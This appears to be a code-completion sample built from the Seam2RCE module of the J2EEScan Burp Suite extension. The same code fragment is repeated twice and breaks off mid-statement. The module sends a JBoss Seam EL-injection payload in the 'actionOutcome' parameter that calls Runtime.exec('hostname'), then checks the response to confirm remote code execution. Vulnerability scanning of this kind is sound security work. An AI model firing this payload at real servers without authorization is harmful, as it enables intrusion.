// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
//     List<int[]> matches = new ArrayList<int[]>();
// 
//     int start = 0;
//     while (start < response.length) {
//         start = helpers.indexOf(response, match, true, start, response.length);
//         if (start == -1) {
//             break;
//         }
//         matches.add(new int[]{start, start + match.length});
//         start += match.length;
//     }
// 
//     return matches;
// }
// 
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
        URL curURL = reqInfo.getUrl();
        byte[] rawRequest = baseRequestResponse.getRequest();

        // ?actionOutcome=
        if (curURL.getPath().contains(".seam")) {

            // Skip already tested resources
            //if (hs.contains(curURL.getPath())) {
            //    return issues;
            //}

            hs.add(curURL.getPath());

            
            // First test wihtout getDeclaredMethods indexes
            byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
                    helpers.buildParameter("actionOutcome",
                            "/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
            );
            IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
            List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
            byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
            IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
            // look for matches of our active check grep string in the response body
            byte[] httpResponseSimple = respSimple.getResponse();
            List<int[]> matchesSimple_L = getMatches(httpResponseSimple, GREP_STRING_L, helpers);
            List<int[]> matchesSimple_W = getMatches(httpResponseSimple, GREP_STRING_W, helpers);

            if (matchesSimple_L.size() > 0 || matchesSimple_W.size() > 0) {

// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
//     List<int[]> matches = new ArrayList<int[]>();
// 
//     int start = 0;
//     while (start < response.length) {
//         start = helpers.indexOf(response, match, true, start, response.length);
//         if (start == -1) {
//             break;
//         }
//         matches.add(new int[]{start, start + match.length});
//         start += match.length;
//     }
// 
//     return matches;
// }
// 
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


// Path: src/main/java/burp/j2ee/issues/impl/Seam2RCE.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;

        URL curURL = reqInfo.getUrl();
        byte[] rawRequest = baseRequestResponse.getRequest();

        // ?actionOutcome=
        if (curURL.getPath().contains(".seam")) {

            // Skip already tested resources
            //if (hs.contains(curURL.getPath())) {
            //    return issues;
            //}

            hs.add(curURL.getPath());

            
            // First test wihtout getDeclaredMethods indexes
            byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
                    helpers.buildParameter("actionOutcome",
                            "/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
            );
            IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
            List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
            byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
            IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
            // look for matches of our active check grep string in the response body
            byte[] httpResponseSimple = respSimple.getResponse();
            List<int[]> matchesSimple_L = getMatches(httpResponseSimple, GREP_STRING_L, helpers);
            List<int[]> matchesSimple_W = getMatches(httpResponseSimple, GREP_STRING_W, helpers);

            if (matchesSimple_L.size() > 0 || matchesSimple_W.size() > 0) {

                issues.add(new CustomScanIssue(